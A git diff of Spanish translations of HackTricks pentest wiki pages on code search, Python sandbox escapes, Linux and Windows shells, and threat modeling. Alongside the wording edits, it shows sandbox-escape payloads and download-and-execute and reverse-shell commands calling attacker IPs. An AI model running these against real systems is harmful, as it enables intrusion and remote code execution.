* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Grupo de Seguridad Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
El objetivo de esta página es enumerar **plataformas que permiten buscar código** (literal o regex) en miles/millones de repositorios en una o más plataformas.
|
||||
El objetivo de esta página es enumerar **plataformas que permiten buscar código** (literal o regex) en miles/millones de repos en una o más plataformas.
|
||||
|
||||
Esto ayuda en varias ocasiones a **buscar información filtrada** o patrones de **vulnerabilidades**.
|
||||
|
||||
* [**SourceGraph**](https://sourcegraph.com/search): Busca en millones de repositorios. Hay una versión gratuita y una versión empresarial (con 15 días gratis). Admite regexes.
|
||||
* [**Búsqueda en Github**](https://github.com/search): Busca en todo Github. Admite regexes.
|
||||
* Tal vez también sea útil revisar [**Búsqueda de Código en Github**](https://cs.github.com/).
|
||||
* [**Búsqueda Avanzada en Gitlab**](https://docs.gitlab.com/ee/user/search/advanced\_search.html): Busca en proyectos de Gitlab. Admite regexes.
|
||||
* [**SourceGraph**](https://sourcegraph.com/search): Busca en millones de repos. Hay una versión gratuita y una versión empresarial (con 15 días gratis). Soporta regex.
|
||||
* [**Github Search**](https://github.com/search): Busca en Github. Soporta regex.
|
||||
* Tal vez también sea útil revisar [**Github Code Search**](https://cs.github.com/).
|
||||
* [**Gitlab Advanced Search**](https://docs.gitlab.com/ee/user/search/advanced\_search.html): Busca en proyectos de Gitlab. Soporta regex.
|
||||
* [**SearchCode**](https://searchcode.com/): Busca código en millones de proyectos.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Cuando busques filtraciones en un repositorio y ejecutes algo como `git log -p`, ¡no olvides que podría haber **otras ramas con otros commits** que contengan secretos!
|
||||
Cuando busques filtraciones en un repo y ejecutes algo como `git log -p`, ¡no olvides que puede haber **otras ramas con otros commits** que contengan secretos!
|
||||
{% endhint %}
|
||||
|
||||
**Grupo de Seguridad Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -51,9 +37,9 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,19 +15,11 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
Estos son algunos trucos para eludir las protecciones de sandbox de Python y ejecutar comandos arbitrarios.
|
||||
|
||||
## Bibliotecas de Ejecución de Comandos
|
||||
|
||||
Lo primero que necesitas saber es si puedes ejecutar código directamente con alguna biblioteca ya importada, o si podrías importar alguna de estas bibliotecas:
|
||||
Lo primero que necesitas saber es si puedes ejecutar código directamente con alguna biblioteca ya importada, o si podrías importar cualquiera de estas bibliotecas:
|
||||
```python
|
||||
os.system("ls")
|
||||
os.popen("ls").read()
|
||||
|
@ -105,7 +97,7 @@ Puedes descargar el paquete para crear el reverse shell aquí. Por favor, ten en
|
|||
{% file src="../../../.gitbook/assets/Reverse.tar (1).gz" %}
|
||||
|
||||
{% hint style="info" %}
|
||||
Este paquete se llama `Reverse`. Sin embargo, fue diseñado especialmente para que cuando salgas del reverse shell, el resto de la instalación falle, así que **no dejarás ningún paquete de python extra instalado en el servidor** cuando te vayas.
|
||||
Este paquete se llama `Reverse`. Sin embargo, fue diseñado especialmente para que cuando salgas del reverse shell el resto de la instalación falle, así que **no dejarás ningún paquete de python extra instalado en el servidor** cuando te vayas.
|
||||
{% endhint %}
|
||||
|
||||
## Eval-ing python code
|
||||
|
@ -114,7 +106,7 @@ Este paquete se llama `Reverse`. Sin embargo, fue diseñado especialmente para q
|
|||
Ten en cuenta que exec permite cadenas de varias líneas y ";", pero eval no (ver operador walrus)
|
||||
{% endhint %}
|
||||
|
||||
Si ciertos caracteres están prohibidos, puedes usar la **representación hex/octal/B64** para **bypassear** la restricción:
|
||||
Si ciertos caracteres están prohibidos, puedes usar la representación **hex/octal/B64** para **bypassear** la restricción:
|
||||
```python
|
||||
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
|
||||
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
|
||||
|
@ -158,7 +150,7 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']
|
|||
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
|
||||
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
|
||||
```
|
||||
## Bypassing protections through encodings (UTF-7)
|
||||
## Bypass de protecciones a través de codificaciones (UTF-7)
|
||||
|
||||
En [**este informe**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) se utiliza UFT-7 para cargar y ejecutar código python arbitrario dentro de una aparente sandbox:
|
||||
```python
|
||||
|
@ -338,7 +330,7 @@ __builtins__.__dict__['__import__']("os").system("ls")
|
|||
### No Builtins
|
||||
|
||||
Cuando no tienes `__builtins__` no podrás importar nada ni siquiera leer o escribir archivos ya que **todas las funciones globales** (como `open`, `import`, `print`...) **no están cargadas**.\
|
||||
Sin embargo, **por defecto, python importa muchos módulos en memoria**. Estos módulos pueden parecer benignos, pero algunos de ellos **también importan funcionalidades peligrosas** dentro de ellos que pueden ser accedidas para obtener incluso **ejecución arbitraria de código**.
|
||||
Sin embargo, **por defecto, python importa muchos módulos en memoria**. Estos módulos pueden parecer benignos, pero algunos de ellos **también importan funcionalidades peligrosas** dentro de ellos que pueden ser accedidas para obtener incluso **ejecución de código arbitrario**.
|
||||
|
||||
En los siguientes ejemplos puedes observar cómo **abusar** de algunos de estos módulos "**benignos**" cargados para **acceder** a **funcionalidades** **peligrosas** dentro de ellos.
|
||||
|
||||
|
@ -881,7 +873,7 @@ dis.dis(get_flag)
|
|||
44 LOAD_CONST 0 (None)
|
||||
47 RETURN_VALUE
|
||||
```
|
||||
Nota que **si no puedes importar `dis` en la sandbox de python** puedes obtener el **bytecode** de la función (`get_flag.func_code.co_code`) y **desensamblarlo** localmente. No verás el contenido de las variables que se están cargando (`LOAD_CONST`), pero puedes inferirlas de (`get_flag.func_code.co_consts`) porque `LOAD_CONST` también indica el desplazamiento de la variable que se está cargando.
|
||||
Nota que **si no puedes importar `dis` en el sandbox de python** puedes obtener el **bytecode** de la función (`get_flag.func_code.co_code`) y **desensamblarlo** localmente. No verás el contenido de las variables que se están cargando (`LOAD_CONST`), pero puedes inferirlas de (`get_flag.func_code.co_consts`) porque `LOAD_CONST` también indica el desplazamiento de la variable que se está cargando.
|
||||
```python
|
||||
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
|
||||
0 LOAD_CONST 1 (1)
|
||||
|
@ -966,7 +958,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
|
|||
```
|
||||
### Bypass Defenses
|
||||
|
||||
En ejemplos anteriores al principio de esta publicación, puedes ver **cómo ejecutar cualquier código python usando la función `compile`**. Esto es interesante porque puedes **ejecutar scripts completos** con bucles y todo en una **línea** (y podríamos hacer lo mismo usando **`exec`**).\
|
||||
En los ejemplos anteriores al principio de esta publicación, puedes ver **cómo ejecutar cualquier código python usando la función `compile`**. Esto es interesante porque puedes **ejecutar scripts completos** con bucles y todo en una **línea** (y podríamos hacer lo mismo usando **`exec`**).\
|
||||
De todos modos, a veces podría ser útil **crear** un **objeto compilado** en una máquina local y ejecutarlo en la **máquina CTF** (por ejemplo, porque no tenemos la función `compiled` en el CTF).
|
||||
|
||||
Por ejemplo, compilamos y ejecutamos manualmente una función que lee _./poc.py_:
|
||||
|
@ -1018,7 +1010,7 @@ Usando herramientas como [**https://www.decompiler.com/**](https://www.decompile
|
|||
|
||||
### Assert
|
||||
|
||||
Python ejecutado con optimizaciones con el parámetro `-O` eliminará las declaraciones de aserción y cualquier código condicional al valor de **debug**.\
|
||||
Python ejecutado con optimizaciones con el parámetro `-O` eliminará las declaraciones de aserción y cualquier código condicional en el valor de **debug**.\
|
||||
Por lo tanto, verificaciones como
|
||||
```python
|
||||
def check_permission(super_user):
|
||||
|
@ -1039,23 +1031,18 @@ will be bypassed
|
|||
* [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html](https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html)
|
||||
* [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,12 +1,12 @@
|
|||
# Shells - Linux
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -15,14 +15,6 @@ Aprende y practica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
**Si tienes preguntas sobre alguna de estas shells, puedes consultarlas en** [**https://explainshell.com/**](https://explainshell.com)
|
||||
|
||||
## Full TTY
|
||||
|
@ -340,12 +332,6 @@ Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
|
|||
* [https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/](https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -356,7 +342,7 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Lolbas
|
||||
|
||||
La página [lolbas-project.github.io](https://lolbas-project.github.io/) es para Windows como [https://gtfobins.github.io/](https://gtfobins.github.io/) lo es para Linux.\
|
||||
|
@ -47,7 +39,7 @@ ncat -l <PORT eg.443> --ssl
|
|||
```
|
||||
## SBD
|
||||
|
||||
**[sbd](https://www.kali.org/tools/sbd/) es una alternativa portátil y segura a Netcat**. Funciona en sistemas similares a Unix y Win32. Con características como cifrado fuerte, ejecución de programas, puertos de origen personalizables y reconexión continua, sbd proporciona una solución versátil para la comunicación TCP/IP. Para los usuarios de Windows, la versión sbd.exe de la distribución Kali Linux se puede utilizar como un reemplazo confiable de Netcat.
|
||||
**[sbd](https://www.kali.org/tools/sbd/) es una alternativa portátil y segura a Netcat**. Funciona en sistemas similares a Unix y Win32. Con características como cifrado fuerte, ejecución de programas, puertos de origen personalizables y reconexión continua, sbd proporciona una solución versátil para la comunicación TCP/IP. Para los usuarios de Windows, la versión sbd.exe de la distribución Kali Linux se puede utilizar como un reemplazo confiable para Netcat.
|
||||
```bash
|
||||
# Victims machine
|
||||
sbd -l -p 4444 -e bash -v -n
|
||||
|
@ -334,7 +326,7 @@ victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi
|
|||
```bash
|
||||
wmic os get /format:"https://webserver/payload.xsl"
|
||||
```
|
||||
Ejemplo de archivo xsl [desde aquí](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7):
|
||||
Ejemplo de archivo xsl [de aquí](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7):
|
||||
```xml
|
||||
<?xml version='1.0'?>
|
||||
<stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:user="placeholder" version="1.0">
|
||||
|
@ -403,7 +395,7 @@ En la carpeta **Shells**, hay muchas shells diferentes. Para descargar y ejecuta
|
|||
```
|
||||
Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444
|
||||
```
|
||||
Inicie el servidor web para servir el script y ejecútelo en el extremo de la víctima:
|
||||
Comience a servir el script en un servidor web y ejecútelo en el extremo de la víctima:
|
||||
```
|
||||
powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"
|
||||
```
|
||||
|
@ -483,12 +475,7 @@ WinPWN](https://github.com/SecureThisShit/WinPwn) consola PS con algunos módulo
|
|||
* [https://www.hackingarticles.in/koadic-com-command-control-framework/](https://www.hackingarticles.in/koadic-com-command-control-framework/)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
|
||||
* [https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -1,76 +1,62 @@
|
|||
# Modelado de Amenazas
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda impulsado por la **dark web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares ladrones**.
|
||||
|
||||
El objetivo principal de WhiteIntel es combatir los secuestros de cuentas y los ataques de ransomware resultantes de malwares que roban información.
|
||||
|
||||
Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Modelado de Amenazas
|
||||
|
||||
¡Bienvenido a la guía completa de HackTricks sobre el Modelado de Amenazas! Embárcate en una exploración de este aspecto crítico de la ciberseguridad, donde identificamos, entendemos y diseñamos estrategias contra posibles vulnerabilidades en un sistema. Este hilo sirve como una guía paso a paso repleta de ejemplos del mundo real, software útil y explicaciones fáciles de entender. Ideal tanto para principiantes como para profesionales experimentados que buscan fortalecer sus defensas de ciberseguridad.
|
||||
¡Bienvenido a la guía completa de HackTricks sobre el Modelado de Amenazas! Emprende una exploración de este aspecto crítico de la ciberseguridad, donde identificamos, entendemos y diseñamos estrategias contra posibles vulnerabilidades en un sistema. Este hilo sirve como una guía paso a paso repleta de ejemplos del mundo real, software útil y explicaciones fáciles de entender. Ideal tanto para novatos como para profesionales experimentados que buscan fortalecer sus defensas de ciberseguridad.
|
||||
|
||||
### Escenarios Comúnmente Utilizados
|
||||
### Escenarios Comúnmente Usados
|
||||
|
||||
1. **Desarrollo de Software**: Como parte del Ciclo de Vida de Desarrollo de Software Seguro (SSDLC), el modelado de amenazas ayuda a **identificar posibles fuentes de vulnerabilidades** en las primeras etapas de desarrollo.
|
||||
2. **Pruebas de Penetración**: El marco de Ejecución Estándar de Pruebas de Penetración (PTES) requiere el **modelado de amenazas para entender las vulnerabilidades del sistema** antes de llevar a cabo la prueba.
|
||||
1. **Desarrollo de Software**: Como parte del Ciclo de Vida de Desarrollo de Software Seguro (SSDLC), el modelado de amenazas ayuda a **identificar posibles fuentes de vulnerabilidades** en las primeras etapas del desarrollo.
|
||||
2. **Pruebas de Penetración**: El estándar de ejecución de pruebas de penetración (PTES) requiere **modelado de amenazas para entender las vulnerabilidades del sistema** antes de llevar a cabo la prueba.
|
||||
|
||||
### Modelo de Amenazas en Resumen
|
||||
|
||||
Un Modelo de Amenazas se representa típicamente como un diagrama, imagen u otra forma de ilustración visual que muestra la arquitectura planificada o la construcción existente de una aplicación. Se asemeja a un **diagrama de flujo de datos**, pero la distinción clave radica en su diseño orientado a la seguridad.
|
||||
|
||||
Los modelos de amenazas a menudo presentan elementos marcados en rojo, simbolizando posibles vulnerabilidades, riesgos o barreras. Para agilizar el proceso de identificación de riesgos, se emplea la tríada CIA (Confidencialidad, Integridad, Disponibilidad), que forma la base de muchas metodologías de modelado de amenazas, siendo STRIDE una de las más comunes. Sin embargo, la metodología elegida puede variar según el contexto y los requisitos específicos.
|
||||
Los modelos de amenazas a menudo presentan elementos marcados en rojo, simbolizando posibles vulnerabilidades, riesgos o barreras. Para agilizar el proceso de identificación de riesgos, se emplea el triángulo CIA (Confidencialidad, Integridad, Disponibilidad), que forma la base de muchas metodologías de modelado de amenazas, siendo STRIDE una de las más comunes. Sin embargo, la metodología elegida puede variar según el contexto y los requisitos específicos.
|
||||
|
||||
### La Tríada CIA
|
||||
### El Triángulo CIA
|
||||
|
||||
La Tríada CIA es un modelo ampliamente reconocido en el campo de la seguridad de la información, que representa Confidencialidad, Integridad y Disponibilidad. Estos tres pilares forman la base sobre la cual se construyen muchas medidas de seguridad y políticas, incluidas las metodologías de modelado de amenazas.
|
||||
El Triángulo CIA es un modelo ampliamente reconocido en el campo de la seguridad de la información, que representa Confidencialidad, Integridad y Disponibilidad. Estos tres pilares forman la base sobre la cual se construyen muchas medidas y políticas de seguridad, incluidas las metodologías de modelado de amenazas.
|
||||
|
||||
1. **Confidencialidad**: Asegurar que los datos o el sistema no sean accedidos por individuos no autorizados. Este es un aspecto central de la seguridad, que requiere controles de acceso apropiados, cifrado y otras medidas para prevenir brechas de datos.
|
||||
2. **Integridad**: La precisión, consistencia y confiabilidad de los datos a lo largo de su ciclo de vida. Este principio garantiza que los datos no sean alterados o manipulados por partes no autorizadas. A menudo implica sumas de verificación, hash y otros métodos de verificación de datos.
|
||||
3. **Disponibilidad**: Garantiza que los datos y servicios sean accesibles para los usuarios autorizados cuando sea necesario. Esto a menudo implica redundancia, tolerancia a fallos y configuraciones de alta disponibilidad para mantener los sistemas en funcionamiento incluso ante interrupciones.
|
||||
1. **Confidencialidad**: Asegurar que los datos o el sistema no sean accedidos por individuos no autorizados. Este es un aspecto central de la seguridad, que requiere controles de acceso apropiados, cifrado y otras medidas para prevenir filtraciones de datos.
|
||||
2. **Integridad**: La precisión, consistencia y confiabilidad de los datos a lo largo de su ciclo de vida. Este principio asegura que los datos no sean alterados o manipulados por partes no autorizadas. A menudo implica sumas de verificación, hashing y otros métodos de verificación de datos.
|
||||
3. **Disponibilidad**: Esto asegura que los datos y servicios sean accesibles para los usuarios autorizados cuando sea necesario. Esto a menudo implica redundancia, tolerancia a fallos y configuraciones de alta disponibilidad para mantener los sistemas en funcionamiento incluso frente a interrupciones.
|
||||
|
||||
### Metodologías de Modelado de Amenazas
|
||||
|
||||
1. **STRIDE**: Desarrollado por Microsoft, STRIDE es un acrónimo de **Suplantación, Manipulación, Repudio, Divulgación de Información, Denegación de Servicio y Elevación de Privilegios**. Cada categoría representa un tipo de amenaza, y esta metodología se utiliza comúnmente en la fase de diseño de un programa o sistema para identificar posibles amenazas.
|
||||
2. **DREAD**: Esta es otra metodología de Microsoft utilizada para la evaluación de riesgos de amenazas identificadas. DREAD significa **Potencial de Daño, Reproducibilidad, Explotabilidad, Usuarios Afectados y Descubribilidad**. Cada uno de estos factores se puntúa y el resultado se utiliza para priorizar las amenazas identificadas.
|
||||
3. **PASTA** (Proceso para Simulación de Ataques y Análisis de Amenazas): Esta es una metodología de siete pasos, centrada en el **riesgo**. Incluye definir e identificar objetivos de seguridad, crear un alcance técnico, descomposición de la aplicación, análisis de amenazas, análisis de vulnerabilidades y evaluación de riesgos/triage.
|
||||
4. **Trike**: Esta es una metodología basada en el riesgo que se centra en defender activos. Parte de una perspectiva de **gestión de riesgos** y examina amenazas y vulnerabilidades en ese contexto.
|
||||
5. **VAST** (Modelado de Amenazas Visual, Ágil y Simple): Este enfoque tiene como objetivo ser más accesible e integrarse en entornos de desarrollo ágil. Combina elementos de otras metodologías y se centra en **representaciones visuales de amenazas**.
|
||||
6. **OCTAVE** (Evaluación de Amenazas, Activos y Vulnerabilidades Críticas Operativamente): Desarrollado por el CERT Coordination Center, este marco está orientado a la **evaluación de riesgos organizacionales en lugar de sistemas o software específicos**.
|
||||
1. **STRIDE**: Desarrollado por Microsoft, STRIDE es un acrónimo de **Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, and Elevation of Privilege**. Cada categoría representa un tipo de amenaza, y esta metodología se utiliza comúnmente en la fase de diseño de un programa o sistema para identificar amenazas potenciales.
|
||||
2. **DREAD**: Esta es otra metodología de Microsoft utilizada para la evaluación de riesgos de amenazas identificadas. DREAD significa **Damage potential, Reproducibility, Exploitability, Affected users, and Discoverability**. Cada uno de estos factores se puntúa, y el resultado se utiliza para priorizar las amenazas identificadas.
|
||||
